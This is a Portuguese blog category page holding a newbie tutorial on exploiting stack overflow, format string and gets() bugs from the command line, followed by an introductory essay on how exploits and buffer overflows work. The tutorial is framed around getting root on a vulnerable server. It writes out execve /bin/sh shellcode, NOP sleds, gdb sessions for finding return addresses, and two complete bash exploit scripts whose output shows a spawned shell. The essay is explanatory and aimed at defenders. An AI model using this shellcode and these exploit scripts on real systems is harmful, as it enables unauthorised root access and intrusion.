Arquivo da categoria ‘buffer overflow’

Este texto foi escrito para newbies, então se você for elite ou se considera um, aconselho a não perder seu tempo lendo!

----[ ENTENDENDO ÀS NECESSIDADES ]----

    Não presisar de um exploit para conseguir root em um sistema! Isso soa bastante, hacker não é? Mais isso não precisa ser uma questão de luxo, mas também
pode ser uma necessídade e até mesmo a única solução. Vamos ver um exemplo não real:
    - Você consegue achar um "importante" servidor vulnerável a alguma falha de CGI ou qualquer outra coisa que permita que você execute comandos. Você tenta baixar um backdoor para se conectar por telnet e não consegue pois não tem permição para executar os programa que poderiam ser usados para download(wget, lynx, GET, etc). Mais você ve que o sistema possúi um programa de mail bem antigo que esta com uma falha de stack overflow das mais simples. Você poderia tentar escrever um exploit somente o comando "echo"(imprimir em tela, igual ao “printf”) mais percebe que depois de pronto você não pode compila-lo! E então o que você faz? Esquece esse servidor e vai durmir? Negativo! Você esplora essa falha via linha de comando. Esse é o objetivo deste texto.

----[ PRIMEIRO PROGRAMA BUGADO (STACK OVERFLOW) ]----

    Veja o seguinte programa vulnerável:

==========[ stack_vuln.c ]==========
/*
    Este é um Simples programa vulnerável a stack overflow, porem programas conhecidos também tem este tipo de parâmetros. Portanto, são vulneráveis do mesmo jeito. E deverá ser exploitado via linha de
    comando ou shellscript!
    */

#include <stdio.h>

int main(int argc, char *argv[], char *env[]) {
    char buffer[256];

    if (argc < 2) {
        printf ("Use: %s <frase>\n\n", argv[0]);
        exit(0);
    }

    strcpy(buffer, argv[1]);

    printf ("Voce digitou: %s\n", buffer);
}
===================================

se você sabe programar em C e sabe construir exploits para Stack
Overflow deve saber muito bem que esse é o exemplo mais simples de exploitação de pilha. Mais nós precisamos de alguns dados para podermos exploita-lo. O primeiro é aonde exatamente o bufer estoura e o segundo é aonde nós podemos inserir dados na memória para pegarmos o endereço! Para saber aonde o buffer estoura basta ir testando:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc stack_vuln.c -o stack_vuln
newbie@localhost:~$ gdb stack_vuln
...
(gdb) r `perl -e 'print "A"x270'`
Starting program: ./stack_vuln `perl -e 'print "A"x270'`
Voce digitou: AAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x40004141 in _dl_dst_substitute () from /lib/ld-linux.so.2
(gdb) r `perl -e 'print "A"x272'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x272'`
Voce digitou: AAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
Voce digitou: AAAAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x12345678 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

Bem. Agora nós já sabemos que nós teremos que colocar o novo endereço de retorno exatamente depois de 268 bytes do argumento. Agora nós precisamos de achar algum lugar da memória para colocar-mos nossos nops e nosso shellcode! Já que nós iremos colocar 268 A's no argumento, poderiamos em vez de colocar isso colocar nosso buffer com os nops e o shellcode.

    Usaremos o seguinte shellcode de execve /bin/sh:
---
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh
---

    Agora precisamos de encher os 268 bytes que temos com esse shellcode e o restante com os nops. Para isso vamos calcula o tamanho desse sc:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ perl -e 'print length("\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31
\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh") . "\n"'
45
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Pronto! Temos 45 bytes para o shellcode e teremos que colocar 223(268 - 45)
NOPs como resto. Então nosso parametro deve ficar algo como:

0                                      223                   268    272
 -------------------------------------------------------------------
| NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
 -------------------------------------------------------------------

    Onde:
    N = NOP (0x90)
    S = nosso shellcode
    R = Novo Endereco Retorno que temos que achar ainda

    Repare que o endereço de retorno é o mesmo endereço de argv[1]. Então vamos fazer ele apontar para alguns dos nops simplesmente achando aonde estão os nops na memória:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gdb stack_vuln
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) br main
Breakpoint 1 at 0x80483cd
(gdb) r `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8
\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x78\x56\x34\x12"'`
Starting program: ./stack_vuln `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89
\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" .
"\x78\x56\x34\x12"'`

Breakpoint 1, 0x080483cd in main ()
(gdb) x/400x %esp
A parse error in expression, near `%esp'.
(gdb) x/400x $esp
0xbffff1f0:     0x40015700      0x40014d80      0x4001512c      0x08048215
0xbffff200:     0xbffff2b0      0x40006b6f      0x08048215      0x0177ff8e
0xbffff210:     0x08048188      0xbffff260      0x400150e0      0x00000001
.....
0xbffff4b0:     0x6e6c7576      0x90909000      0x90909090      0x90909090
0xbffff4c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff500:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff510:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff520:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff530:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff540:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff550:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff560:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff570:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff580:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff590:     0x90909090      0x895e1feb      0xc0310876      0x89074688
.....
0xbffff5b0:     0xcd40d889      0xffdce880      0x622fffff      0x732f6e69
0xbffff5c0:     0xfff68068      0x504300bf      0x5f53554c      0x4c434e49
0xbffff5d0:     0x5f454455      0x48544150
(gdb)
--- --- --- --- --- --- --- --- --- ---

Achamos aonde nossos nops ficaram + ou - de 0xbfffedb0 até 0xbfffee80. Então basta colocar-mos o programa para saltar para alguma dessas posições de memória para ele ir executando os nops até chegar ao nosso shellcode. Aconselho a colocar bem no meio dos nops. Vejamos se funciona colocando ele para saltar para a posição 0xbffff550:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./stack_vuln `perl -e 'print "\x90"x223 .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff
\xff/bin/sh" . "\x50\xf5\xff\xbf"'`
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPîÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Ai esta nossa exploração via linha de comando! Repare que coloque o
endereço de retorno de tráz para frente. Isso porque esse esquema todo esta em uma pilha(veja meu texto sobre stack overflow)!
Conseguimos isso porque colocamos nosso buffer da seguinte maneira:

   0                                       223                  268    272
    -------------------------------------------------------------------
   | NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
    -------------------------------------------------------------------

    Fazendo RRRR apontar para dentro dos NOPs(0x90)!

----[ Escrevendo o exploit em shell script ]----

    Não é meu objetivo ensinar shell script neste texto, então segue o código para esse programa anterior em bash script:

==========[ stack_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a stack overflow      #
# [ chuck_newbie@hotmail.com ]                           #
##########################################################

# O novo endereco de retonro
export NEW_RET=`printf "\x50\xf5\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Nossos 223 NOPs
export NOP=`printf "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./stack_vuln "$NOP$SHELLCODE$NEW_RET"

========================================

    Vamos testar:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x stack_xpl.sh
newbie@localhost:~$ ./stack_xpl.sh
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPõÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Como podemos ver, funciona perfeitamente. Não conheco nenhuma linguagem que não seja possível escrever shellcodes. Se com ela é possível criar uma variável e executar um programa, também é possível escrever exploits!

----[ SEGUNDO PROGRAMA BUGADO (FORMAT STRING) ]----

    Vamos agora ao nosso segundo programa vulnerável a overflow:
==========[ fs_vuln.c ]==========
/*
    Simples programa vulnerável a stack overflow
    com format string.
    Tutorial de exploitação por bash script
*/

#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[16];

    if (argc < 2) {
        printf ("Use: %s <string>\n", argv[0]);
        exit(0);
    }

    if (strlen(argv[1]) > 15) {
        printf ("Tentativa de overflow detectada!\nLOGGED!!\n");
        exit(-1);
    }

    sprintf (buffer, argv[1]);
    printf ("Você digitou: %s\n", buffer);
}

=================================

    Bem! Temos dois problemas: O primeiro é que não é possível estourar o buffer passando um paramentro maior do que 15 bytes. E o segundo é que se nós conseguissemos passar não caberia nem nosso shellcode muito menos nossos NOPs e nosso enderço de retorno.

Mais se você perceber, verá que este programa está vulnerável a format
string(veja o texto) então com isso nós já podemos estourar o buffer. Veja:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc fs_vuln.c -o fs_vuln
newbie@localhost:~$ ulimit -c 1234567
newbie@localhost:~$ ./fs_vuln %25cDCBA
Você digitou:                         øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %25cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x40040042 in ?? ()
(gdb) q
newbie@localhost:~$ ./fs_vuln %28cDCBA
Você digitou:                            øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %28cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41424344 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Com isso nós já sabemos que nosso buffer estoura quando colocamos a string %28c no inicio do parametro, tendo que colocar o novo endereco de retorno ABCD = 0x41424344) logo após! No meu texto sobre Stack Overflow(pode ser encontrado na page do WHCT), eu expliquei como se faz para explorar um buffer pequeno, sujiro que se você não sabe como pegue ele e dê uma boa lida. Mais só pra resumir: Não é necessário que o nosso exploit e nossos NOPs estejam no
argumento do programa vulnerável, basta que ele esteja em alguma parte da memória e então é só fazer-mos o programa vulnerável apontar para ele. Esse lugar da memória geralmente é aonde estão as variáveis de ambiente. Para ficar mais claro veja o seguinte esquema:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export BUFFER=`perl -e 'print "A"x200'`
newbie@localhost:~$ gdb ./fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r lixo
Starting program: ./fs_vuln lixo

Breakpoint 1, 0x080483fa in main ()
(gdb) x/700x $esp
0xbffff458:     0xbffff478      0x40041936      0x00000002      0xbffff4a4
0xbffff468:     0xbffff4b0      0x40014d80      0x00000002      0x08048330
0xbffff478:     0x00000000      0x08048351      0x080483f4      0x00000002
.....
0xbffffdb8:     0x46554200      0x3d524546      0x41414141      0x41414141
0xbffffdc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdd8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffde8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdf8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe08:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe18:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe28:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe38:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe48:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe58:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe68:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe78:     0x41414141      0x41414141      0x41414141      0x41414141
.....
0xbfffff18:     0x454d4f48      0x73752f3d      0x696c2f72      0x616a2f62
0xbfffff28:     0x4c006176      0x3d474e41      0x425f7470      0x4f480052
0xbfffff38:     0x2f3d454d      0x656d6f68      0x77656e2f      0x00656962
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Como podemos notar, nós podemos colocar dados na memória para nosso programa
acessar! Então vamos fazer o mesmo que o esquema anterior:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export EGG=`perl -e 'print "\x90"x150 . \
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" . \
> "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" . \
> "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Com isso nós criamos uma variável de ambiente com 150 NOPs seguido do nosso shellcode. Agora vamos ver aonde ele se encontra na memória de acesso ao nosso programa:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r
Starting program: /home/newbie/tecnicas/expl_ln_cmd/fs_vuln

Breakpoint 1, 0x080483fa in main ()
(gdb) x/400x $esp
0xbffff460:     0x080484c0      0xbffff4c4      0xbffff478      0x0804849c
0xbffff470:     0x4015760c      0x40014900      0xbffff498      0x40041936
0xbffff480:     0x00000001      0xbffff4c4      0xbffff4cc      0x40014d80
.....
0xbffff870:     0x7572743d      0x47450065      0x90903d47      0x90909090
0xbffff880:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff890:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff900:     0x90909090      0x90909090      0x90909090      0x90909090
.....
0xbffffa70:     0x7a6c2e2a      0x31303d68      0x3a31333b      0x70722e2a
0xbffffa80:     0x31303d6d      0x3a31333b      0x61742e2a      0x31303d72
0xbffffa90:     0x3a31333b      0x61742e2a      0x31303d7a      0x3a31333b
(gdb) q
The program is running.  Exit anyway? (y or n) y
--- --- --- --- --- --- --- --- --- ---

    Achamos os nossos NOPs. Agora vamos executar nosso programa vulnerável de uma modo que ele salte para dentro dos NOPs e vá executando até chegar ao shellcode, para isso escolhi o endereco 0xbffff8b0. Veja:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ ./fs_vuln %28c`perl -e 'print "\xb0\xf8\xff\xbf"'`
Você digitou:                            h°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---
            Exploitação executada com sucesso! :)

----[ Escrevendo o exploit em shell script ]----

Agora segue o código do exploit para o segundo programa vulnerável a forma string escrito em shell script:

==========[ fs_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a format string       #
##########################################################

# O novo endereco de retonro que apontará para os nops
export NEW_RET=`printf "\xb0\xf8\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\x07\x89\x46\x0c\xb0"\
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\xdb\x89\xd8"\
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Aqui temos 150 NOPs(chataum conta isso)
export NOP=`printf \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./fs_vuln "%28c$NEW_RET"

=================================

    Vamos aos textes:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x fs_xpl.sh
newbie@localhost:~$ ./fs_xpl.sh
Você digitou:                            x°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

    Como podemos perceber, não existe segredo algum amigo. Agora é só questão de pratica!

                       ----[ CONCLUINDO ]----

Bem amigo, é possível fazer qualquer coisa se correr atraz. Digo mais uma vez que saber fuçar com shell script não é questão de luxuria mais sim uma necessidade pois o verdadeiro fuçador não constroi coisas pra facilitar, mais trabalha com o que tem em mãos! Existem inumeros metodos a mais de exploitação, talvez até algum que seja mais fácil do que em C ou outra linguagem pois com shell script você interage diretamente com os programas e talz, principalmente falhas em fucões que manipulam arquivos como as que criam arquivos temporários e
essas coisas! Bastando apenas saber armazenar a resposta de um comando, filtrar, passar o resultado para outro comando e por ai vai!

Veja como é possível explorar qualquer programa por linha de comando:
==========[ xtra_vuln.c ]==========
#include <stdio.h>

int main() {
    char nome[20];

    printf("Qual é o seu nome: ");   
    gets(nome);
    printf("Olá %s!!\n\n", nome);
}
===================================

    Agora veja como podemos explora-lo:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc xtra_vuln.c -o xtra_vuln
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x40004443 in ?? ()
(gdb) q
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x44434241 in ?? ()
--- --- --- --- --- --- --- --- --- ---

    já sabemos agora aonde que sobrescreveremos o endereço de retorno! Agora basta fazer o exploit usando o seguinte esquema:
--- ------ --- --- --- --- --- --- ---
newbie@localhost:~$ echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD\
> `perl -e 'print "\x78\x56\x34\x12"'` > buffer.bof
newbie@localhost:~$ ./xtra_vuln < buffer.bof
Qual é o seu nome: Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCDxV4!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
....
Program terminated with signal 11, Segmentation fault.
#0  0x12345678 in ?? ()

(gdb)
--- --- --- --- --- --- --- --- --- ---
 ----[ Fontes ]----
    0ut0fBound            .::. http://0ut0fbound.ath.cx
    Security Focus        .::. http://www.securityfocus.com.br
    Google                .::. http://www.google.com.br

Obs.: Si  alguem tiver lido este tutorial e si enteressou neste assunto… Eu tenho um livro falando sobre isso. Quem quiser, basta mandar um email para mim

Anúncios

Introdução

Nos dias actuais são indiscutíveis os grandes benefícios obtidos por meio da interligação dos computadores em uma única e grande rede acessível a partir de qualquer ponto do globo.
A Internet, essa grande teia que une milhões de computadores em torno do mundo, é uma conquista irreversível que admite um único futuro: uma contínua e freqüente expansão.
Entretanto, com o advento dessa incrível interconexão de máquinas em escala mundial, muitos ainda são os problemas que precisam ser resolvidos para que os usuários obtenham uma razoável segurança na utilização dos serviços disponibilizados na grande rede. Cada novo serviço ou funcionalidade implementada pelos fabricantes de softwares utilizados nas redes de computadores encontra, frequentemente, uma imediata resposta de hackers e crackers. Esses “usuários” utilizam seus conhecimentos avançados de programação de computadores para explorar falhas existentes nos códigos desenvolvidos para essas novas funcionalidades. Esse é um problema do qual ninguém está totalmente livre. Conforme (FIREWALLS SECURITY CORPORATION) , até mesmo programas famosos e considerados seguros já foram lançados no mercado com esse tipo de vulnerabilidade.
Essas investidas contra fraquezas nos sistemas operacionais e aplicativos são apoiadas por ferramentas conhecidas como exploits. O resultado desses ataques pode ser simplesmente uma momentânea indisponibilidade do serviço (DOS – Denial Of Service) ou, na pior situação, a abertura de um acesso privilegiado no computador hospedeiro do serviço que sofreu o ataque. A partir desse acesso obtido, poderão ser provocados prejuízos imprevisíveis dentro da rede atacada.
Este trabalho procura descrever como funcionam e quais os resultados do ataque desses exploits. O objectivo do trabalho é dar subsídios aos administradores de rede e desenvolvedores de aplicativos na difícil tarefa de tentar evitar ou, pelo menos, responder o mais rápido possível a ataques desse tipo.

O que são exploits

O termo exploit, que em português significa, literalmente, explorar, na linguagem da Internet é usado comummente para se referir a pequenos códigos de programas desenvolvidos especialmente para explorar falhas introduzidas em aplicativos por erros involuntários de programação.
Esses exploits, que podem ser preparados para atacar um sistema local ou remotamente, variam muito quanto à sua forma e poder de ataque. Pelo fato de serem peças de código especialmente preparadas para explorar falhas muito específicas, geralmente há um diferente exploit para cada tipo de aplicativo, para cada tipo de falha ou para cada tipo de sistema operacional.

Como funcionam os exploits

Os exploits quase sempre se aproveitam de uma falha conhecida como buffer overflow (estouro de buffer).
O buffer overflow acontece quando um programa grava informação em uma certa variável, passando, porém, uma quantidade maior de dados do que estava previsto pelo programa. Essa situação possibilita que um código arbitrário seja executado, necessitando apenas que este seja devidamente
posicionado dentro da área de memória do processo.
No codigo abaixo pode ser visto um simples exemplo de um programa vulnerável a um ataque de buffer overflow. O problema está na segunda linha da função ProcessaParm, que não critica o tamanho do parâmetro recebido na variável arg.

void ProcessaParm(char *arg);
void main(int argc, char *argv[]){
if (argc > 1){
printf(”Param: %s\n”,argv[1]);
ProcessaParm(argv[1]);
}
}
void ProcessaParm(char *arg){
char buffer[10];
strcpy(buffer,arg); /* PROBLEMA: se a string contida em arg
tiver mais que 10 carateres havera
um “buffer overflow” */
printf(buffer);
}

Codigo 1: Programa vulnerável a buffer overflow

O buffer overflow, quando ocorre de forma aleatória, normalmente causa um crash na aplicação. No Linux, essa situação gera a conhecida segmentation fault com core dump. Porém, quando correctamente induzido pelo atacante, o buffer overflow pode permitir que se execute um código malicioso que terá os
mesmos privilégios de execução do aplicativo atacado.
Embora o problema do buffer overflow seja conhecido há muito tempo, somente nos últimos anos ele passou a ser amplamente explorado como ferramenta de ataque.
Para entender completamente como o buffer overflow é explorado para se obter acessos indevidos ao sistema, é necessário em primeiro lugar compreender como os processos são organizados em memória. Cada arquitectura de hardware, sistema operacional ou compilador pode organizar de forma diferente um processo em memória. Na figura 1 é possível ver um diagrama que representa essa organização para um programa escrito na linguagem C em um sistema Linux/i386.

1

Figura 1: Organização dos processos em memória…

A área de programa armazena o código executável. Na área de variáveis globais são alocadas todas as variáveis globais e estáticas; enquanto que a área de heap é reservada para alocação local e dinâmica de memória. Finalmente, a área de pilha é usada para salvar registradores, salvar o endereço de retorno de subrotinas, criar variáveis locais bem como para passar parâmetros na chamada de funções.
Como pode ser observado na figura 1, os ponteiros da pilha e do heap crescem em sentidos opostos, convergindo para o centro da área livre que é comum às duas estruturas de memória. Esse artifício é usado para otimizar o uso da memória livre na área de dados do processo. Entretanto, como será visto ainda nesta seção, essa característica possibilita que os ataques sejam feitos tanto pela pilha quanto pelo heap.

Na figura 1 é possível ver os elementos envolvidos no processo de chamada de uma função.

Normalmente, quando uma função é chamada, os seguintes passos são executados:

1) Os parâmetros da função são colocados da pilha em ordem inversa.
2) Quando a instrução call é executa, o endereço de retorno é armazenado para permitir o retorno da função à instrução imediatamente seguinte àquela que a chamou.
3) Já dentro da função, o conteúdo do registrador EBP, que é usado como apontador do stack frame, é colocado da pilha para ser recuperado no final da função.
4) Registrador EBP é carregado com o valor atual do ponteiro de pilha (SP).
5) O ponteiro da pilha é decrementado em N bytes, onde N é a quantidade de bytes necessários para a criação das variáveis locais.

2

Figura 2: Uso da pilha na chamada de uma função…

Devido a essa sua característica, a pilha é o “calcanhar de aquiles” de toda essa estrutura. Com muita paciência, persistência e algum conhecimento de assembly e C, é possível alterar o valor do endereço de retorno do programa e redirecioná-lo para um código malicioso.
A partir desse momento, o ponteiro de instruções do processo passa a ser inteiramente controlado pelo atacante, que poderá fazer qualquer chamada a funções disponíveis no sistema.
A alteração do endereço de retorno pode ser feita tanto pelo “estouro” de uma variável local alocada na pilha quanto pelo “estouro” da área de heap. Da mesma forma, o código malicioso, para onde o programa será desviado, pode ser colocado tanto no heap quanto na pilha. Nas figuras 3 e 4 pode ser vista uma representação da memória durante um ataque de pilha e de heap, respectivamente.

3

4

Como pode ser visto na figura 4, os exploits baseados no heap são mais difíceis de se construir devido à dificuldade de se determinar com precisão o tamanho da área entre o heap e a pilha.
Recentemente, os sistemas operacionais têm implementado mecanismos de bloqueio de execução de códigos na área de pilha e de heap. Essa medida tem por objetivo evitar esses ataques. Porém, para contornar essa dificuldade, uma outra variante do ataque foi desenvolvida. Essa nova tática, conhecida como “retorno à libc”, descrita em (MCDONALD,1999), consiste em desviar o programa para uma função da libc (system(), por exemplo), portanto dentro da área de código, onde não há qualquer restrição de execução
de programas.
